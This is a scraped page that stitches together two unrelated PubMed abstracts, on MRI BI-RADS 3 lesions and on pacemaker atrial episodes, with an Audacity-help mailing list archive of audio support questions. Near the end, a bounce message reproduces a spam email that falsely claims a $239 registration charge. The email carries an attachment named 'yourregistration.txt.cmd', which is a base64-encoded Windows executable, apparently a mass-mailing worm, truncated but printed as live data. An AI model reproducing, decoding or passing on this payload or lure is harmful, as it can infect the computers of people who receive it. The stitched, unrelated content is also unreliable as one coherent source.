Rate of malignancy in MRI-detected probably benign (BI-RADS 3) lesi...
- PubMed - NCBI
The NCBI web site requires JavaScript to function.
FormatSummarySummary (text)AbstractAbstract (text)MEDLINEXMLPMID ListChoose DestinationFileClipboardCollectionsE-mailOrderMy BibliographyCitation managerFormatSummary (text)Abstract (text)MEDLINEXMLPMID ListCSVCreate File1 selected item: FormatSummarySummary (text)AbstractAbstract (text)MEDLINEXMLPMID ListMeSH and Other DataE-mailSubjectAdditional textE-mailAdd to ClipboardAdd to CollectionsOrder articlesAdd to My BibliographyGenerate a file for use with external citation management software.Create File
):684-9. doi: 10.2214/AJR.13.10928.Rate of malignancy in MRI-detected probably benign (BI-RADS 3) lesions.1, , , , , , , .11 Diagnostikum Graz-Süd West, Weblinger Guertel 25, 8054 Graz, Austria.Erratum inAbstractOBJECTIVE: The purpose of this study was to evaluate the malignancy rate in MRI-detected probably benign (BI-RADS 3) lesions in women without a history of breast cancer.MATERIALS AND METHODS: In this study, 1265 patients underwent breast MRI during a 7-year period. One hundred and eight (8.5%) patients with a nonpalpable breast lesion classified as BI-RADS 3 at MRI and with a needle biopsy or adequate follow-up of at least 24 months were included. Statistical analysis included calculation of the negative predictive value with its 95% CI.RESULTS: Of 108 lesions, 107 (99.1%) were correctly assessed as probably benign, resulting in a negative predictive value of 99.1% (95% CI, 94.99-99.98%). Histopathology was requested by the patient or referring physician in 44 patients. Of these, 43 (39.8%) lesions were classified as benign and one (0.9%) as malignant. There were no changes evident in any of the remaining 64 (59.2%) lesions during follow-up (range, 2-9 years).CONCLUSION: In MRI-detected probably benign (BI-RADS 3) lesions, the malignancy rate is low and within the accepted cancer rate for mammographically or sonographically detected BI-RADS 3 lesions. Short-term follow-up MRI at intervals of 6, 12, and 24 months in MRI BI-RADS 3 lesions remains a strong tool with which to detect suspicious lesions. Interval changes in size, morphology, or enhancement are regarded as indicative of malignancy.PMID:
[PubMed - indexed for MEDLINE]
MeSH TermsFull Text SourcesOther Literature SourcesMedical
Supplemental Content
External link. Please review our .Atrial high rate episodes detected by pacemaker diagnostics predict...
- PubMed - NCBI
The NCBI web site requires JavaScript to function.
FormatSummarySummary (text)AbstractAbstract (text)MEDLINEXMLPMID ListChoose DestinationFileClipboardCollectionsE-mailOrderMy BibliographyCitation managerFormatSummary (text)Abstract (text)MEDLINEXMLPMID ListCSVCreate File1 selected item: FormatSummarySummary (text)AbstractAbstract (text)MEDLINEXMLPMID ListMeSH and Other DataE-mailSubjectAdditional textE-mailAdd to ClipboardAdd to CollectionsOrder articlesAdd to My BibliographyGenerate a file for use with external citation management software.Create File
2003 Apr 1;107(12):1614-9. Epub
2003 Mar 24.Atrial high rate episodes detected by pacemaker diagnostics predict death and stroke: report of the Atrial Diagnostics Ancillary Study of the MOde Selection Trial (MOST).1, , , , , , , , , , , ; .1Division of Electrophysiology , Hackensack University Medical Center, Hackensack, NJ, USA. AbstractBACKGROUND: Some current pacing systems can automatically detect and record atrial tachyarrhythmias that may be asymptomatic. We prospectively studied a 312-patient (pt) subgroup of MOST (MOde Selection Trial), a 2010-patient, 6-year randomized trial of DDDR versus VVIR pacing in sinus node dysfunction (SND). The purpose of the study was to correlate atrial high rate events (AHREs) detected by pacemaker diagnostics with clinical outcomes.METHODS AND RESULTS: Pacemakers were programmed to log an AHRE when the atrial rate was &220 bpm for 10 consecutive beats. Analysis was confined to patients with at least 1 AHRE duration exceeding 5 minutes. The 312 patients were median age 74 years, 55% female, and 60% had a history of SVT. 160 of 312 (51.3%) patients enrolled had at least 1 AHRE &5 minutes duration over median follow-up of 27 months. Cox proportional hazards analysis assessed the relationship of AHREs with clinical events, adjusting for prognostic variables and baseline covariates. The presence of any AHRE was an independent predictor of the following: total mortality (hazard ratio AHRE versus no AHRE and 95% confidence intervals=2.48 [1.25, 4.91], P=0.0092); death or nonfatal stroke (2.79 [1.51, 5.15], P=0.0011); and atrial fibrillation (5.93 [2.88, 12.2], P=0.0001). There was no significant effect of pacing mode on the presence or absence of AHREs.CONCLUSIONS: AHRE detected by pacemakers in patients with SND identify patients that are more than twice as likely to die or have a stroke, and 6 times as likely to develop atrial fibrillation as similar patients without AHRE.Comment inPMID:
[PubMed - indexed for MEDLINE]
Free full textPublication TypesMeSH TermsGrant SupportFull Text SourcesOther Literature SourcesMedical
Supplemental Content
External link. Please review our .Audacity / Mailing Lists
Error: CSS did not load.
This may happen on the first request due to CSS mimetype issues.
Try clearing your browser cache and refreshing.
Mailing Lists
A free multi-track audio editor and recorder
Brought to you by:
audacity-help
& For questions and feedback regarding Audacity.
You can subscribe to this list .
results of 29
(Page 1 of 2)
Had set Audacity preferences to 128 bit rate for MP3 exports.
No error message from iTunes. Simply stored Audacity MP3s to a folder
on hard drive, then tried to import into iTunes, but import dialog
window did not recognize these files. Had no problem playing them in
QuickTime or RealPlayer, though.
Thanks for quick response. - Lorenzo
On Feb 15, 2004, at 12:46 PM, Matt Brubeck wrote:
Lorenzo Kristov wrote:
& Have been importing files to Mac iTunes using AAC format, but note
& that Audacity does not recognize these files.
That's correct.
Unless we add AAC support to some future version,
you'll need to import files using MP3 or AIFF to use them with Audacity.
It's best to import into a lossless format like AIFF, and convert the
files to MP3/AAC only after you're done editing.
Otherwise the file
will be compressed twice, losing a small amount of quality each time.
& Also noticed that iTunes does not recognize the MP3s exported by
& Audacity.
Any suggestions?
That's strange.
Does iTunes give any error message when you try to play
one of those files?
What MP3 bit-rate are you using?
Congratulations for your excellent software. We are having trouble exporting
one piece of selection at a time. When we click on a label, only the label
track seems to be selected. Consequently, when using the "export the
selection" item in the file menu, we get told that no tracks are selected
In any case, I send you again all my compliments on your work.
Gratefully yours,
* * * * * * * * * * * * * * * AntiVir ALERT * * * * * * * * * * * * * * *
This version of AntiVir is licensed for private and non-commercial use.
AntiVir has detected the following in a mail from your address:
Worm/MyDoom.A2
The mail was not delivered.
Please remove any potential malicious software from your computer before
sending a new mail with attachments.
Mail-Info:
From: audacity-help@...
To: freggine@...
Date: Wed, 11 Feb :38 -0300
Subject: Error
AntiVir for UNIX
Copyright (C)
by H+BEDV Datentechnik GmbH. All rights reserved.
For more information see
This message was bounced for the following reason(s):
Teacher send only list and not teacher
Lorenzo Kristov wrote:
& Have been importing files to Mac iTunes using AAC format, but note
& that Audacity does not recognize these files.
That's correct.
Unless we add AAC support to some future version,
you'll need to import files using MP3 or AIFF to use them with Audacity.
It's best to import into a lossless format like AIFF, and convert the
files to MP3/AAC only after you're done editing.
Otherwise the file
will be compressed twice, losing a small amount of quality each time.
& Also noticed that iTunes does not recognize the MP3s exported by
& Audacity.
Any suggestions?
That's strange.
Does iTunes give any error message when you try to play
one of those files?
What MP3 bit-rate are you using?
Greetings -- Just downloaded and starting using Audacity 1.2 for Mac
Like it very much so far, but have only used it to trim dead space off
of live-recorded CD tracks in MP3 format.
Have been importing files to Mac iTunes using AAC format, but note that
Audacity does not recognize these files.
Also noticed that iTunes does not recognize the MP3s exported by
Any suggestions?
Lorenzo Kristov
This error is due to the limmited capabilities of your sound card,
which, like many, will only play sound at certain sample rates. If
audacity tries to play a file at another sample rate, than it will fail
and produce the error you describe.
To avoid this, change the project sample rate (i.e. the sample rate out
to the card) to a setting that your card can suport. The sample rate
used any given project is set by the button in the bottom left of the
window, which can be clicked on to get a list of possible sample rate
values. Most cards should suport either 44100 (CD) or 48000 (DAT) sample
rates. Audacity will do the necessary conversion to play the data back
on the fly.
The reason some files suceed and others fail without intervention is
that the default project rate is set to the sample rate of the first
file opened, which may or may not work with your sound card.
XMMS etc. choose a playback (output) sample rate to suit the card
automatically, but this means that you cannot choose a rate your card
does not suport. As Audacity uses the project rate for file exports as
well, we need it to be user selectable.
Richard Ash
at 21:38, David Brunke wrote:
& To whom it may concern:
& I wanted to report an error I've been experiencing with your Audacity
& software. I
installed version 1.0.0-2 on my Linux box with Redhat 7.2
& (Enigma) installed on it.
It works overall, but when I try to play
& *.wav files.
It seems to only support certain frequencies.
& instance, some .wav files will play just fine, whereas others will say
& there is an error with the audio device (/dev/dsp), and then say to
& check the preferences (which seem to be correct - just the default
& output device - /dev/dsp).
For the case when it doesn't play the .wav
& file, it still plots the waveform, it just won't output the audio.
& Please let me know if there is some solution to this problem. I am a new
& user of Audacity, so I might just be doing something wrong that is
& pretty basic.
& David Brunke
& -------------------------------------------------------
& SF.Net is sponsored by: Speed Start Your Linux Apps Now.
& Build and deploy apps & Web services for Linux with
& a free DVD software kit from IBM. Click Now!
& _______________________________________________
& Audacity-help mailing list
& Audacity-help@...
You may be best off downloading the newly released 1.2pre4, which is
very close to being 1.2 stable, and contains a number of bugfixes over
the previous 1.2 pre 3, which may include the problem you are
encountering.
Richard Ash
at 22:54, Lin Files wrote:
& Hi Richard,
& I have followed your directions exact.
I have even
& re-downloaded the 'lame' file. I finished this:
& Click on the link tabled 'Find Library'
& This will ask you if you want to locate 'lame-enc.dll'. Click
& 'yes'
& In the dialogue box, go to the folder where you put the
& lame-enc.dll
& file earlier, and select it.
& Click OK
& You should now be able to export files to the mp3 format.
& ...When I am almost completely exporting to MP3, the program
& creashes and all I get is 1 second of mush.
Do you think I
& should un-install the Audicity program and re-instal it?
& doesn't make sense when I have followed all the directions.
& Thanks, Lin
& Lin Files
& Note Specialist
& ---- On 13 Feb :26, Richard Ash
& (richard@...) wrote:
& & Short Version:
& & In order for audacity to use the LAME encoder, it needs to
& know what the
& & path to it is. In the dialogue where it says the file is not
& & there should also be a button to click to locate the library
& (dll), so
& & that audacity can open it. This only needs to be done once,
& and then
& & will work each time you use the mp3 export.
& & Alternatively, go to File & Preferences & File Formats and
& click on the
& & 'Find Library' button in the bottom right hand corner, and
& browse to the
& & location where the LAMEenc.dll file is located.
& & MP3 exporting will then be available.
& & Long Version:
& & We do not directly host or develop the LAME library. It's home
& & fordevelopment is at
& & but does not host runnable programs, only source code.
& & There are numerous places hosting compiled binaries (including
& & you need).
links to a number,
& case the
& & site is on the blink, although it works at the moment).
& & Any of these zip files should contain the dll you are looking
& & lame-enc.dll which you can extract and then use with audacity
& & Download the the .zip file , and open it in a utility like
& winzip, or
& & windows explorer in newer versions of windows.
& & Take the lame-enc.dll file and extract (uncompress) it to a
& directory on
& & you hard drive.
& & The directory where you installed Audacity would be a good
& idea. This is
& & probably C:\Program Files\Audacity or similar.
& & Open Audacity and go to File & Preferences.
& & Go to the 'File Formats' tab
& & In the bottom of the window there is a section tabled 'MP3
& & Setup'.
& & Click on the link tabled 'Find Library'
& & This will ask you if you want to locate 'lame-enc.dll'. Click
& 'yes'
& & In the dialogue box, go to the folder where you put the
& lame-enc.dll
& & file earlier, and select it.
& & Click OK
& & You should now be able to export files to the mp3 format.
& & Richard Ash
& & On Fri,
at 08:35, Lin Files wrote:
& & & Hello,
& & & I have been racking my brain on how to make the 'audacity'
& & & editting program work.
I went you the requested website
& & & downloaded the 'lame' file encoder at:
& & & you have suggested.
I did what was asked of me... to find
& & & file to encode.
Well, the program shuts down and my mp3
& & & not completed and sounds like 1 second of mush.
Please help
& & & figure this out.
Thank you,
& & & Lin Files
& & & Note Specialist
Any input to making the program better accross languages and platforms
is welcome.
If you would like to work on translation, there in some more information
or join the mailing list via
Richard Ash
at 19:26, Mateusz Jarek wrote:
& I'm a Polish user of Audacity. I've just read about that program and
& decided to download it. I installed, and when the program started I
& wasn't satisfied in Polish translation.
& My hobbies is programming in pascal (it's a bit ancient language but I
& really like it), Delphi, I know HTML. Shortly speaking - I enjoy
& everything connected with computers and music. And I thought I could
& help with creating Polish translation. Of course, if you only would
& like me to help.
& My mind is opened for every idea.
Given you trouble playing back, it may be that there is an underlying
issue with either drivers or bios configuration that is throttling your
machine. One possible problem (if you have BIOS assigned IRQs) is the
bios sharing and IRQ between sound and either video or disk, so that it
gets clogged up by other requests can cannot keep up with audio. A
computer benchmarking program like AIDA32
() may help pinpoint at what point the
bottle-neck is.
Recording setup tweaks will only help future recordings, not any current
(damaged) files. With these files, your only hope may be to cut out the
silence, and live with the blip at the transition, or re-record from the
original media. Because the problem is caused by dropped data, it is not
possible to recover the original music information.
Richard Ash
at 21:05, fromtom wrote:
& Hallo Richard,
& thanks for your advices!
& playing the files with audacity works good (the bad Player is the origi=
& windows media player)
Might be worth upgrading
to the current version for your OS (see
microsoft site, free fopr windows users), or installing winamp (free
& unfortunately there are still the defects in some of the recorded track=
& even with your suggested preferences they appear, what a mess!
& Its a problem of the recording do you have any idea, how to fix this?
& with best regards
& & -----Urspr=C3=BCngliche Nachricht-----
& & Von: Richard Ash [mailto:richard@...]
& & Gesendet am: Mittwoch, 11. Februar
& & An: fromtom
& & Cc: audacity-help@...
& & Betreff: Re: [Audacity-help] audacity 1.2.0 pre3 problem
& & Given your computer is up to recording CDs, and with the spec you giv=
& & it should easily be capable of playing wav files back to check them. =
& & not, then either there is a setup problem, or the software is not up =
& & the job.
& & In Audacity, the setting for real time sample rate conversion will
& & affect the amount of CPU power required to play back files recorded a=
& & other sample rates. It shouldn't affect 44100 Hz data in a 44100 Hz
& & file. This code has been updatede in pre4, so
& & Assuming your sound card
is capable, you should be recording at 4410=
& & Hz (set the project rate before starting recording), and exporting
& & straight to the same rate, so sample rate conversion isn't needed.
& & The most likely cause of poor playback from the PC under windows is
& & problems with device drivers, which are either incompatible, out of d=
& & or misconfigured. I would sugest you check and update:
& & Video Drivers
& & Sound Card Drivers
& & Hard Drive Controller Drivers
& & Defragment your hard drive thoroughly.
& & The following actions may help avoid the skips to start with, as they
& & are probably generated by interuptions during the recording process
& & itself:
& & Close all other programs while recording. Beware background virus
& & scanners, etc
& & Turn off =E2=80=9CAuto-scroll while playing=E2=80=9D. (File&Preferenc=
es&Interface)
& & Try enabling DMA mode on your hard drives (particularly on newer
& & hardware. Not a good idea to do this for CD drives under 98, though).
& & Richard Ash
& & On Wed,
at 11:02, fromtom wrote:
& & & hallo developers,
& & & i=C2=B4m using audacity 1.2.0 pre3 to record my audiotapes on cd an=
d it works
& & & fine!
& & & I have already recorded 6 CDs, and now there is one problem:
& & & on 3 CDs i have one track on each with a small defect: at one
& & position in
& & & the song a little bit is missing, perhaps less than half a second...
& & & The problem is, that i cannot check the defects with my media
& & player on pc
& & & before burning the CD, because the player doesn=C2=B4t play without
& & interruptions
& & & using (big) wav files.(processor ist oo small)
& & & What can be the reason for the defects in the wavefiles?
& & & Is my computer not fit for the task? (Intel celeron 333MHZ, RAM
& & 128 MB, WIN
& & & 98 SE)
& & & Or do i have to change the settings in audacity? (44100 HZ, 16 bit,
& & & converting: both at high quality) What settings do your recommend?
& & & I would be very pleased if you can cive me a tip, how to fix this b=
& & & with best regards
& & & thomas
& & & -------------------------------------------------------
& & & The SF.Net email is sponsored by EclipseCon 2004
& & & Premiere Conference on Open Tools Development and Integration
& & & See the breadth of Eclipse activity. February 3-5 in Anaheim, CA.
& & & _______________________________________________
& & & Audacity-help mailing list
& & & Audacity-help@...
& -------------------------------------------------------
& SF.Net is sponsored by: Speed Start Your Linux Apps Now.
& Build and deploy apps & Web services for Linux with
& a free DVD software kit from IBM. Click Now!
& _______________________________________________
& Audacity-help mailing list
& Audacity-help@...
Audacity can provide noise removal (to get rid of tape hiss), and be
used to apply extra gain to passages where the signal is weak. Note that
you will get better results if you do the noise reduction before any
amplification of sections or compression.
Ypu can export any selction of the recording from audacity, so you can
split up as desired. Whilst Adobe Audition (nee. CoolEdit Pro) provides
similar functionality, it tends to be much slower because of an
ineficient data handling system. Breaking tracks up is also harder.
Richard Ash
at 22:06, Dresj@... wrote:
& Tech Support,
& I am thinking of using Audacity to clean up some
& old tapes but there are a few things that I suspect
& that Audacity may not be able to do.
& Besides getting rid of hisses and pops I am also
& looking to enhancing background audio or weak
& audio because someone was too far from the mike.
& Some of the recording were 2+ hours of continious
& audio recording I want to break up the recording into
& smaller segments or files.
& Is Audacity the preferred product or does someone
& like Adobe or someone else have a better product
& for what I am trying to do?
& Jim Dresbach
& 45005 Brunswick Dr.
& Canton, Michigan
& +1-734-451-0039 Home Phone
There is no automatic way to recover the recording, but you can do it
manually by attaching the files in the _data folder (which are each 10
second chunks of audio) back together again. Assuming you hadn't done
any editing (i.e. the crash was imediately after recording), all the odd
numbers will be one channel, in numerical order, and all the even
numbers will be the other, again in numerical order.
To make asembling the files together again easier, version 1.2 will
allow you to open or import multiple files at once, which then just need
to be sorted and joined.
Alternatively, you could probably get away with just concacenating the
files at a command prompt. If you don't know how, stick with audacity,
as it will probably do a better job anyway.
Once you have done this, you can export the new project to mp3 if you
download and install the LAME encoder library.
Richard Ash
at 05:42, PT wrote:
& Hi There,
& My laptop frozed after I dropped it (I was able to start it again).
& Now I found that I have under .audacity_temp files of total 500MB.
& How do I recover these files. Those are recordings that I don't
& want to loose, but to convert to mp3.
& Please help me with ideas what to do.
Similar thing happened
& months ago and when I restarted audacity, it erased all
& previously created files.
& Thank you.
& Regards,
& -------------------------------------------------------
& SF.Net is sponsored by: Speed Start Your Linux Apps Now.
& Build and deploy apps & Web services for Linux with
& a free DVD software kit from IBM. Click Now!
& _______________________________________________
& Audacity-help mailing list
& Audacity-help@...
Because Audacity can export the current selection to AIFF, you can
simply select the first 20 mins of the file, export this, and then
delete the same selection, followed by selecting the next section, etc.
This is what I find quickest, altough what you describe is perfectly
Richard Ash
at 07:40, Evan Jacobs wrote:
& If I have a minute take and I want to cut it up into 20 minute AIFF
& files I could copy and paste the different sections...
& delete them as I needed to and then undo until I have exported each
& section into it's own AIFF file?
& is this the best way to do it or is there an easier way that I am
& missing?
& -------------------------------------------------------
& SF.Net is sponsored by: Speed Start Your Linux Apps Now.
& Build and deploy apps & Web services for Linux with
& a free DVD software kit from IBM. Click Now!
& _______________________________________________
& Audacity-help mailing list
& Audacity-help@...
The "preview" facility was intended merely as a workaround as long as
Audacity doesn't have full real-time capabilities. The preview function
is so short because calculating the preview and applying the effect
actually takes the same time (per second). Calculating the effect while
previewing isn't possible at the moment, so for long previews you'd have
no advantage to the Undo/Launch-Again cycle which must be done now.
Be assured, however, that we are working on full real-time effects for
the next version, which also will make previewing much more convenient
(and even make possible changing the effect parameters on the fly).
It might be worth having a user selectable preveiw time as well, though.
Richard Ash
at 16:58, carlosr01 wrote:
& I am dj in puerto rico I find you program and I think is amazing!!!!
& Sorry my English !!
& Im very interesting in help to test this program I
like create mix
& with this type of tools.
& At this time I only find when you preview anyeffect the preview only
& have 3 or 4 seconds ,I recommended is a possible the preview time come
& a littlebiger 5 to 10 sec or in preference I can select the time.
& Thanks for read this email.
& Good work!!!!!!!
I am dj in puerto rico I find you program and I think is amazing!!!!
Sorry my English !!
Im very interesting in help to test this program I
like create mix with
this type of tools.
At this time I only find when you preview anyeffect the preview only have 3
or 4 seconds ,I recommended is a possible the preview time come a
littlebiger 5 to 10 sec or in preference I can select the time.
Thanks for read this email.
Good work!!!!!!!
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
audacity-devel@...
SMTP error from remote mailer after end of data:
host mail.sourceforge.net [66.35.250.206]: 550 This message contains an unwanted file extension (cmd)
audacity-help@...
SMTP error from remote mailer after end of data:
host mail.sourceforge.net [66.35.250.206]: 550 This message contains an unwanted file extension (cmd)
------ This is a copy of the message, including all the headers. ------
------ The body of the message is 101364 only the first
------ 16384 or so are included here.
Return-path: &audacity-help@...&
Received: from host185-150.pool8249.interbusiness.it ([82.49.150.185]:1493 helo=UTENTE.net)
with esmtp (Exim 4.24 #1 (Debian))
id 1AsOwv-0000IM-Mz; Sun, 15 Feb :54 -0800
From: audacity-help@...
Subject: Registration confirmation
X-MailScanner: Analysis
Importance: Normal
X-Mailer: fworks V1.95 beta
Message-ID: &72.53809xsmailerV03.15@...&
MIME-Version: 1.0
Content-Type: multipart/
boundary="UTENTEcff1d.458526f"
Date: Sun, 15 Feb :54 -0800
This is a multi-part message in MIME format.
--UTENTEcff1d.458526f
Thanks for your registration.
( We say Sorry again, the first mail was delivered to an unknown mail address.
This was a bug in our mailing system! )
The amount of 239.- USD was deducted by your account.
you can now visit more than 1200 very very hot web pages!
Your registration, pages and passwords are transferred in the attachment.
--UTENTEcff1d.458526f
Content-Type: application/octet- name=yourregistration.txt.cmd
Content-Transfer-Encoding: base64
Content-Disposition: filename="yourregistration.txt.cmd"
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAyAAAAAAAAAAAAAAAAAAAAAAAAAAAADczNzI4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAJx54D8AAAAAAAAAAOAADwELAQYA
ACABAAAQAAAAAAMA0CQEAAAQAwAAMAQAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABABAAA
EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEAyBACcAAAAADAEAEAC
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAADAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOAAAAAAAAAAAAAgAQAAEAMAABgBAAAEAAAA
AAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAADAEAAAEAAAAHAEAAAAAAAAAAAAAAAAAQAAAwAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
